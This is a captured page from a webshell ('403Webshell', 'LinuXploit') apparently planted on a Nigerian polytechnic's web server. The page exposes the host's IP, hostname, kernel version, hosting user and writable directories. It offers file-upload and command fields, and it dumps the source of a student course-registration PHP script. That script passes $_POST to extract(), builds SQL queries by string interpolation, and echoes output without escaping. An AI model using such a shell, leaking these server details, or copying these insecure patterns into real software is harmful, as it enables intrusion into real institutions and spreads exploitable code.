403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.71.120.136
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_student/courseReg_process.php
<?php
ob_start();
    include('headMain.php');
    //session_start();
    if(!isset($_SESSION['matNo'])){
        header('location:'.'login.php');
    }
			 require_once('../connect.php');
    $db=db_connect();
			 extract($_POST);
// $courseNum=count($course);
$semester=$_SESSION['asemester'];
$asession=$_SESSION['asession'];
$levelID=$_SESSION['levelID'];
$matNo=$_SESSION['matNo'];
    ?>
    <div id="wrapper">
   <td> <form id="form1" name="form1" method="post" action="courseRemove.php" role="form">
                <tr>
                    <fieldset>
                        <legend>
                            <div class="row">
                                <div></div>
                                <div class="col-lg-12">
                                    <div class="panel panel-default">
                                        <div class="panel-heading">
                                            View Courses Selected (<?php echo $_SESSION['matNo'].'-'.$semester ;?>)
                                        </div>
                                        <div class="panel-body">

                                            <div class="row">
                                                <div class="col-lg-12">

                                                        <table width="100%" align="center" cellpadding="3" cellspacing="5">
                                                            <tr>
                                                                <td><table width="100%" cellspacing="5" cellpadding="3" class="table table-striped">
                                                                        <tr bgcolor="#999999">
                                                                            <td><strong>Course Code</strong></td>
                                                                            <td><strong>Course Title</strong></td>
                                                                            <td><strong>Course Unit</strong></td>
                                                                            <td><strong>Check to Select</strong></td>
                                                                        </tr>
                                                                        <tr>
                                                                            <td colspan="4"><hr /></td>
                                                                        </tr>
                                                                        <?php
                                                                        $levelID=$_SESSION['levelID'];
                                                                        $dept=$_SESSION['course'];
                                                                        $courseTotal=0;

                                                                        $sql=$db->query("select * from coursereg where levelID='$levelID' and matNo='$matNo' and semester='$semester'");
                                                                        $num=$sql->rowCount();
                                                                        $i=0;
                                                                        if ($num>0){
                                                                            while ($row=$sql->fetch(PDO::FETCH_BOTH)){
                                                                                ?>
                                                                                <tr>
                                                                                    <td><?php echo $row['courseCode'];?></td>
                                                                                    <td><?php echo $row['courseTitle'] ;?></td>
                                                                                    <td><?php echo $row['courseUnit']; $courseTotal = $courseTotal + $row['courseUnit'] ;?></td>
                                                                                    <td><label for="checkbox"><a href="courseRemove.php?id='<?php echo $row['sn'];?>'">Remove</a></label></td>
                                                                                </tr>

                                                                                <?php

                                                                                ++$i;
                                                                            }
                                                                            ?>
                                                                            <tr>
                                                                                <td colspan="4"><hr /></td>
                                                                            </tr>
                                                                            <tr>
                                                                                <td>&nbsp;</td>
                                                                                <td>Total Unit Registered</td>
                                                                                <td><?php echo $courseTotal;?></td>
                                                                                <td>&nbsp;</td>
                                                                            </tr>
                                                                        <?php
                                                                        }else{
                                                                        ?>
                                                                        <tr>
                                                                            <td colspan="4"><?php echo "No Course was Setup for this level";
                                                                                }

                                                                                ?></td>
                                                                        </tr>
                                                                        <?php
                                                                        if ($semester=='First Semester') {
                                                                            ?>
                                                                            <tr>
                                                                                <td colspan="4"><a href="courseReg.php">Go
                                                                                        Back to Add More Courses</a>
                                                                                </td>
                                                                            </tr>
                                                                        <?php
                                                                        }else if ($semester=='Second Semester') {
                                                                            ?>
                                                                            <tr>
                                                                                <td colspan="4"><a href="courseReg_second.php">Go
                                                                                        Back to Add More Courses::|</a>
                                                                                     <?php
                                                                                     if(($dept=='Office Technology and Management') or ($dept=='OFFICE TECHNOLOGY AND MANAGEMENT')){
                                                                            ?>
                                                                                    <a href="courseRegOTM.php">::Click Here to Add OTM Special Courses</a>
                                                                                         <?php
                                                                                     }
                                                                                     ?>

                                                                                </td>
                                                                            </tr>
                                                                            <?php
                                                                            }else {
                                                                            ?>
                                                                            <tr>
                                                                                <td colspan="4"><a href="courseRegSummer.php">Go
                                                                                        Click to Add OTM Special Courses</a>
                                                                                </td>
                                                                            </tr>
                                                                        <?php
                                                                        }
                                                                        ?>
                                                                    </table></td>
                                                            </tr>
                                                            </table>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </legend>
                        </fieldset>
                    </tr>
                </form>
            </td>
    </div>

<div class="col-lg-1"></div>
<?php
include('footMain.php');
ob_end_flush();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit